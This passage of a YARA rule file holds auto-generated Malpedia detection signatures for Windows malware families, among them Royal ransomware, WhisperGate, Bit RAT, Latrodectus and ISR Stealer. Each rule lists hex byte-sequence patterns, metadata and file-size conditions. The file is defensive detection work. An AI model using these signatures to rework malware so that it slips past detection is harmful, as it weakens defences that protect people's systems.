		$sequence_9 = { 48 8b442428 eb02 31c0 48 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Kikothac_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3a1785b6-f597-5e86-8c4e-a3c4c36845cf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kikothac_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "783b1a1a8c3b3dc323ec01428cfa46b90f3abf925fa4bb401d1a6455aac8c5f6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 668945de e8???????? 83f8ff 0f84c2000000 803d????????00 }
		$sequence_1 = { 80ce63 3485 80f601 041b 660fbdd0 }
		$sequence_2 = { 8b140e 52 8d5dfc e8???????? 83c404 84c0 7509 }
		$sequence_3 = { 57 8bc2 c1f805 8b0485c0514100 8bfa 83e71f }
		$sequence_4 = { 660fbae309 8a46ff c1da07 f6c3a7 28d8 51 }
		$sequence_5 = { 5b 8b7708 8b7f04 84c0 751a e8???????? 84c0 }
		$sequence_6 = { f5 f6d8 9c 28c3 f9 }
		$sequence_7 = { 8b4df4 03c2 668b55f8 8908 8a4dfa 66895004 884806 }
		$sequence_8 = { c64424080e 50 38c6 98 }
		$sequence_9 = { 660fb6f3 8db30307ad85 c744244800000000 8db7ec8bddf1 8b742474 9c ff3424 }
	condition:
		7 of them and filesize < 581632
}

rule MALPEDIA_Win_Deputy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5f636daa-92f3-5297-9096-cf07f3905b0c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deputy_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "ca97585f0db258f9fdf08cb077c29b43b172f7ef4964d85d883e4007934393d7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 6808020000 50 8d85e4f9ffff 50 e8???????? 83c40c }
		$sequence_1 = { 58 6bc000 c780ac40001002000000 6a04 }
		$sequence_2 = { 8d0436 50 6a00 57 8985ccf9ffff e8???????? }
		$sequence_3 = { ff15???????? eb6c 56 57 }
		$sequence_4 = { 50 ff510c 85c0 0f85b0030000 }
		$sequence_5 = { 8d85d0f9ffff 50 68???????? 68???????? ff15???????? 85c0 }
		$sequence_6 = { 59 c3 e8???????? 85c0 0f843f070000 }
		$sequence_7 = { 0f1005???????? 66a1???????? 2bca d1f9 0f11844df4fdffff 6689844d04feffff 85db }
		$sequence_8 = { e8???????? 83c40c 8d85ecfbffff 6804010000 50 ff35???????? }
		$sequence_9 = { ffb5c8f9ffff 8bd8 8d85e0f9ffff ffb5ccf9ffff 56 53 50 }
	condition:
		7 of them and filesize < 51200
}

rule MALPEDIA_Win_Bit_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f95bf2c0-1a3f-5ba6-86c1-dc6657e9fb49"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bit_rat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6a75a2a36ee1576648e5cd3e08166671639be750c77ff100be6cd8e32ca1f573"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb1b 8b4de0 8b5ddc 8b7df8 8b45f4 eba7 8b4510 }
		$sequence_1 = { e8???????? 8b4f0c 83c404 3b01 740e 6a00 6a00 }
		$sequence_2 = { e8???????? c645fc42 50 8bce e8???????? c645fc24 53 }
		$sequence_3 = { 85ed 7460 895c2410 8bd3 8bce 85f6 7454 }
		$sequence_4 = { e9???????? 83f85b 751b 8bce e8???????? 8bce e8???????? }
		$sequence_5 = { e8???????? 8b4c240c 83c404 83f903 751b 6a00 6a00 }
		$sequence_6 = { ff7618 8bd7 e8???????? 8bd8 83c408 8bc2 8bcb }
		$sequence_7 = { ff75ec ff75e8 ff75fc ff75f8 ff7514 53 eb2a }
		$sequence_8 = { c3 8bff 55 8bec 5d e9???????? 6a00 }
		$sequence_9 = { ffb674040000 e8???????? 8bf8 83c408 85ff 0f8595000000 50 }
	condition:
		7 of them and filesize < 19405824
}

rule MALPEDIA_Win_Yibackdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bd826b97-b05e-574c-adcf-8cef34bea245"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yibackdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yibackdoor_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "72cc75115eff495a52d292944ce30cf871fe0425f0d810307073cc2873931dac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c897ddf 488b18 e8???????? 488d4d6f 4c8bc3 48894c2440 }
		$sequence_1 = { 33f6 4d85db 744a 4f8d0c00 498bf8 4d85c0 7439 }
		$sequence_2 = { 743f 4180f97b 0f84b6000000 4180f92d 740e 4180e930 4180f909 }
		$sequence_3 = { 33c9 e8???????? 488b4def ffd0 4c3965f7 741e 41b9fc000000 }
		$sequence_4 = { ff15???????? 488b5c2450 448d4fda 33d2 33c9 41b842a86f9e e8???????? }
		$sequence_5 = { 488bd8 e8???????? 488bcb 4c8b4008 488b10 e8???????? 488d15cd5c0000 }
		$sequence_6 = { 448bc2 41c1e803 4183f80a 7de8 4d85d2 7464 4885db }
		$sequence_7 = { 458bfe e8???????? 4533c9 4489742420 4533c0 33d2 }
		$sequence_8 = { c3 33d2 488bc1 4885c9 7505 c3 4883c102 }
		$sequence_9 = { 488b5028 c745db05000000 e8???????? 488bd0 488d4de3 e8???????? }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Royal_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b707ba7e-f795-5786-96ea-1fd46c83e33f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royal_ransom_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ff950c4f22d55465d57ffb0791253a97dd6631f204494c457bce80921890bdb0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 4c8d059b3b1400 ba8f000000 e9???????? 488b4608 8b08 e8???????? }
		$sequence_1 = { 803d????????00 754c 488d0d5c220d00 48890d???????? 488d050e1f0d00 488d0d37210d00 488905???????? }
		$sequence_2 = { e8???????? 482be0 488bfa 488bd9 4885c9 747e 488d156abf0600 }
		$sequence_3 = { 85c0 0f450d???????? 85c9 7411 488d0d31212400 e8???????? 4885c0 }
		$sequence_4 = { e8???????? 4c8d0503171400 8d562b 488d0d09171400 e8???????? 4533c0 8d4e10 }
		$sequence_5 = { c3 e8???????? 4c8d0553bd1400 ba8f010000 488d0d2fbd1400 e8???????? 4533c0 }
		$sequence_6 = { e8???????? 397010 0f84ccfeffff e8???????? 4c8d052eb91400 ba66000000 488d0deab81400 }
		$sequence_7 = { 754c e8???????? 4c8d05aeb81600 bae9000000 488d0d8ab81600 e8???????? 4533c0 }
		$sequence_8 = { e8???????? 4c8d0533510e00 bac1010000 488d0da7500e00 e8???????? 4533c0 8d4f39 }
		$sequence_9 = { c3 49ff80c0000000 488bcb 488b4308 8b10 e8???????? b801000000 }
	condition:
		7 of them and filesize < 6235136
}

rule MALPEDIA_Win_Hikit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cf2c2140-f351-5d9d-a962-449d1b05d24a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hikit_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "d51c1ae21b05f4f7340fe9215a9d683066cb3055762a66620984bf5bd09e28e0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b442408 39442418 0f84e8000000 c744240401000000 8b442408 89442428 8b442428 }
		$sequence_1 = { 48 c784245001000000000000 48 c744244000000000 48 c784244801000000000000 48 }
		$sequence_2 = { 68???????? 6a24 8b45f8 83c004 50 e8???????? 83c424 }
		$sequence_3 = { 52 8d8c2498120000 51 33c9 03c0 8d510c }
		$sequence_4 = { 7408 81f90c000140 7506 8988e0000000 ff7514 ff7510 51 }
		$sequence_5 = { 0f8427020000 8d8758080000 50 ff15???????? f6460d04 7546 8b4608 }
		$sequence_6 = { 48 03c1 48 89442440 48 8b842488010000 0fb600 }
		$sequence_7 = { 85c0 0f8e84000000 48 8b442428 0fb7501a 48 8b4c2428 }
		$sequence_8 = { 7e0c 48 8b442450 c6803201000000 48 8b442450 0fb68031010000 }
		$sequence_9 = { 48 8b442420 8b5028 48 c1ea0c 48 8b442420 }
	condition:
		7 of them and filesize < 573440
}

rule MALPEDIA_Win_Royal_Dns_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e4eee0e-991f-5e5c-8e46-34ff6666420e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royal_dns_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "ebf3458b22350e610da4d705384f784d27dfca7bf952035b68054c9acd2a2a7b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c 56 83c30d 8d85d8fcffff 53 50 }
		$sequence_1 = { 83c404 83bdb1f7ffff64 8b8dbbf7ffff 8d70f1 7559 83f964 7554 }
		$sequence_2 = { f3a5 e8???????? 83c40c b908000000 }
		$sequence_3 = { be???????? 8d7dd8 f3a5 83c40c 6a01 a4 e8???????? }
		$sequence_4 = { 0fb65c0602 c1ea07 03db 0bd3 83e21f 0fb69248132500 885104 }
		$sequence_5 = { 8d85c0feffff 6a00 50 c785b0feffffa9ea6152 c785b4feffffe7a5db56 }
		$sequence_6 = { 7416 83fe04 7511 8b95bff7ffff 89957cf1ffff e9???????? 85c9 }
		$sequence_7 = { 6888130000 ff15???????? 4e 75f2 68e4000000 8d85c0f5ffff 6a00 }
		$sequence_8 = { 393d???????? 7c11 6860ea0000 ffd6 c705????????00000000 68b80b0000 }
		$sequence_9 = { 772a ff248590162400 6a01 6a03 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Whispergate_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9dc05d10-b36b-5ddc-8d53-1a84a19c9fff"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whispergate_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "f1a5fde20ead0d040272e28cb5dd9257a9305ae69c007901daa130bb710a267b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 89f4 0f841bffffff 8b5508 85d2 0f8410ffffff 8b5508 }
		$sequence_1 = { 83f801 0f8543010000 83c30c 81fb???????? 0f8389000000 8b13 8b7b04 }
		$sequence_2 = { 83c301 ebe1 83c301 ebe3 8d6b01 e9???????? }
		$sequence_3 = { b8???????? c705????????01000000 2d???????? 83f807 7ee0 57 }
		$sequence_4 = { 53 83ec4c f605????????02 0f84ea020000 e8???????? 8965c4 }
		$sequence_5 = { 84d2 7906 81cf00ffffff 29f7 8d54241c }
		$sequence_6 = { c1e004 e8???????? 8b4de0 29c4 }
		$sequence_7 = { 83f802 89c1 7417 8d65f4 89c8 5b }
		$sequence_8 = { 5e c3 31d2 89d0 c3 }
		$sequence_9 = { c706???????? 893424 8b4d10 89fa 89d8 e8???????? }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Nailao_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e45fdbac-42d1-5920-9b35-9a9e44ef7d5d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nailao_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nailao_locker_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "b259eb4feabff6fee143b3ad97a8691b9630885ab19604f45e8a846a4deaff46"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 4c8d4c2474 488bcb 4c8d44246c 488d542464 ff15???????? }
		$sequence_1 = { 488bc5 4c8d0551650100 488bcd 48c1f906 83e03f 498b0cc8 488d14c0 }
		$sequence_2 = { 488bd8 4885c0 7560 488bc7 4c8d35104cffff 498784f620120200 }
		$sequence_3 = { e8???????? 4c8d458c 488bd7 85c0 7411 448bc8 488d0ddd7a0100 }
		$sequence_4 = { 48c744242000000000 488bce ff15???????? 85c0 741d 41ffc6 }
		$sequence_5 = { c705????????01000000 b808000000 486bc000 488d0d19d80100 8b542430 48891401 }
		$sequence_6 = { 488d0ddd7a0100 e8???????? eb58 488d0d1f7b0100 eb47 488d1596790100 488bcb }
		$sequence_7 = { e8???????? 488d156f870100 488d4c2420 e8???????? }
		$sequence_8 = { ff15???????? 85c0 750d 4c8d442450 488bd7 e8???????? 83eb01 }
		$sequence_9 = { 488985d0070000 49895b20 488bfa 498973e8 4d896bd8 4d8be8 }
	condition:
		7 of them and filesize < 512000
}

rule MALPEDIA_Win_Isr_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f92134ff-d8ee-58cb-8cb8-468d7205306f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isr_stealer_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "75691989209029cb7a637cf5df87a857ef3ef18b6fe3194f56cba1ecab86658c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { fb b05e 2bc1 e8???????? 661e }
		$sequence_1 = { 08ac22c115978d 0e e8???????? 07 }
		$sequence_2 = { 1c8b 53 2456 2bd1 807e6543 }
		$sequence_3 = { 46 1e 301b 15c2c8c807 d6 12d8 }
		$sequence_4 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e e8???????? }
		$sequence_5 = { a7 8d16 b205 07 d32cb6 08ac22c115978d }
		$sequence_6 = { 07 fb b05e 2bc1 e8???????? }
		$sequence_7 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e }
		$sequence_8 = { 07 d32cb6 08ac22c115978d 0e e8???????? }
		$sequence_9 = { e8???????? 07 fb b05e 2bc1 e8???????? 661e }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Asruex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "899abd0f-c835-5f70-819c-92570cc9b462"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.asruex_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "a14db0e4e44f1156fe16afe843345aa29b9b1f1eb3cc060b10e0bcdf06eb97d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 740e 85ed 740a }
		$sequence_1 = { e8???????? 83f8ff 7407 3d0000a000 }
		$sequence_2 = { ff15???????? 85c0 7407 3d14270000 }
		$sequence_3 = { 3c78 7404 3c58 7505 bb01000000 }
		$sequence_4 = { 83f801 740e 83f803 7409 83f802 }
		$sequence_5 = { 3c0d 7404 3c0a 7516 }
		$sequence_6 = { 7404 3c58 7505 bb01000000 }
		$sequence_7 = { 3c09 7408 3c0d 7404 3c0a 7516 }
		$sequence_8 = { 7408 3c0d 7404 3c0a 7516 }
		$sequence_9 = { 740c 3c09 7408 3c0d 7404 3c0a 7516 }
	condition:
		7 of them and filesize < 1564672
}

rule MALPEDIA_Win_Wpbrutebot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "79a22dd8-32fa-5f98-87d6-8da78951869d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wpbrutebot_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "5822d74137e23703d26984f7196edc8d3decd3d594175136f45cb9821ea5add2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745f85968337b 33c0 c645fc00 8d4809 304c05f8 40 83f804 }
		$sequence_1 = { 85c0 0f8438020000 ff7624 8b442418 ff742414 50 50 }
		$sequence_2 = { f7e9 c1fa02 8bc2 c1e81f 03c2 83f803 764f }
		$sequence_3 = { c1c010 85c3 7416 8b449438 8904ef b810000000 668944ef04 }
		$sequence_4 = { ff742458 0f45c8 8d44247c ff742434 55 56 52 }
		$sequence_5 = { c3 b8???????? eb0c b8???????? eb05 b8???????? 57 }
		$sequence_6 = { c74008???????? c7400ca0f76200 c74010e1000000 c3 e8???????? 85c0 0f8488000000 }
		$sequence_7 = { eb10 83f804 755e 807c244020 0f85130d0000 8b442418 8d0480 }
		$sequence_8 = { c605????????00 e8???????? b9???????? c645fc05 e8???????? 6a6b 68???????? }
		$sequence_9 = { 803f2f 0f8518020000 807f012f 7563 8a4702 83c702 3c2f }
	condition:
		7 of them and filesize < 5134336
}

rule MALPEDIA_Win_Latrodectus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8cce3c90-39d6-56c7-a70d-a97dc872745e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.latrodectus_auto.yar#L1-L177"
		license_url = "N/A"
		logic_hash = "db1ab846766f29e28e7ba8cb8d168586ae215020b0ee3fc8ee79e547f904c4d9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b4c2430 8801 488b442430 48ffc0 4889442430 8b44242c }
		$sequence_1 = { 33c0 6689842430010000 ba18000000 488d8c24d0000000 e8???????? 488d8424d0000000 }
		$sequence_2 = { 33c9 ff15???????? 488905???????? 48833d????????00 7414 }
		$sequence_3 = { 488b542458 488d4c2428 e8???????? 488b4c2458 e8???????? 488b442420 }
		$sequence_4 = { 488b00 488b4818 e8???????? 488b442430 488b00 4883782000 }
		$sequence_5 = { 89442420 8b442420 4883f825 7336 8b442420 486bc018 }
		$sequence_6 = { 488bc1 488b4c2450 0fb709 488d0488 4889442438 488b442438 }
		$sequence_7 = { e8???????? 89442420 ba68000000 488d4c2430 e8???????? c744243068000000 }
		$sequence_8 = { 4883e808 4883f81f 0f87ab000000 e8???????? 488bc3 488b8dd0050000 }
		$sequence_9 = { 410fb6f0 e9???????? 80fb05 7405 80fb0b 7508 }
		$sequence_10 = { 480f474d70 488b8580000000 4889442430 48894c2428 4889542420 4c8d05fd2d0600 }
		$sequence_11 = { 4833c4 4889842448010000 498bf1 4d8bf0 8bfa 4c89442458 }
		$sequence_12 = { 41b826000000 488d1591b10b00 488d4c2430 e8???????? 90 488b7c2440 }
		$sequence_13 = { 4883ec30 488b442460 498bf9 492bf8 488bf2 482bf1 }
		$sequence_14 = { 0f87dc030000 0faee8 e8???????? 660f6f05???????? f30f7f442478 664489642468 }
		$sequence_15 = { 0fb605???????? 884130 c6413100 0f57c0 0f11442438 488d3da9630d00 }
	condition:
		7 of them and filesize < 2467840
}

rule MALPEDIA_Win_Moker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cb9352b8-7986-51d0-bfba-8cdb83b8b9cc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moker_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "7734cc9477f43c35a46e19994290fc756278e602b0dee6674db4466771e526fb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0302 8945d4 8b4dd4 83c102 }
		$sequence_1 = { 0301 8945e0 e8???????? 8b55e8 }
		$sequence_2 = { 0100 83c414 85c0 7502 eb0a }
		$sequence_3 = { 0302 8945e8 eb09 8b45e8 }
		$sequence_4 = { 0302 8945dc 8b45dc 83c002 }
		$sequence_5 = { 0302 8945e8 8b4df8 8b55fc }
		$sequence_6 = { 6a00 8b15???????? 52 6a1e 6a3c }
		$sequence_7 = { 0302 50 e8???????? 83c404 3b450c 750b 8b4df0 }
		$sequence_8 = { 034508 8078fe5c 740d c6005c c6400100 }
		$sequence_9 = { 50 6800800000 6a00 ff7508 ff15???????? e8???????? 9d }
		$sequence_10 = { 39f7 7410 fc 39fe }
		$sequence_11 = { 730c 8b420c 29c6 8b4214 01c6 eb06 83c228 }
		$sequence_12 = { eb82 8b86b8000000 40 8d5002 83aec400000004 }
		$sequence_13 = { 75eb 59 5e 5f c9 c21000 }
		$sequence_14 = { 51 8b4510 48 ff4514 }
		$sequence_15 = { 8d5001 52 8d5580 52 e42b }
	condition:
		7 of them and filesize < 1761280
}

rule MALPEDIA_Win_Doplugs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4aa6b45e-3a15-5665-b8ab-574c45e7a423"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doplugs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doplugs_auto.yar#L1-L105"
		license_url = "N/A"
		logic_hash = "3a8a777ec93c3f944683664500df734649c491983fb906ea5cefcf412da3de95"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 01fe 21f3 f7d6 21d6 09de }
		$sequence_1 = { 83e13f c1f806 6bc938 8b0485b0390a10 0fb6440828 83e040 5d }
		$sequence_2 = { ff15???????? 8b04bdb0390a10 834c0318ff 33c0 eb16 e8???????? c70009000000 }
		$sequence_3 = { 6bc938 8b0485b0390a10 f644082801 7406 8b440818 5d }
		$sequence_4 = { 89d3 83e2bf f7d3 83e340 09da }
		$sequence_5 = { 57 8db8a4350a10 57 ff15???????? ff0d???????? 83ef18 }
		$sequence_6 = { 31c0 8b4c2414 8b542438 8b521c 29d0 }
		$sequence_7 = { 8b0c24 89ca 80e1ad f6d2 80e252 08d1 }
	condition:
		7 of them and filesize < 1355776
}

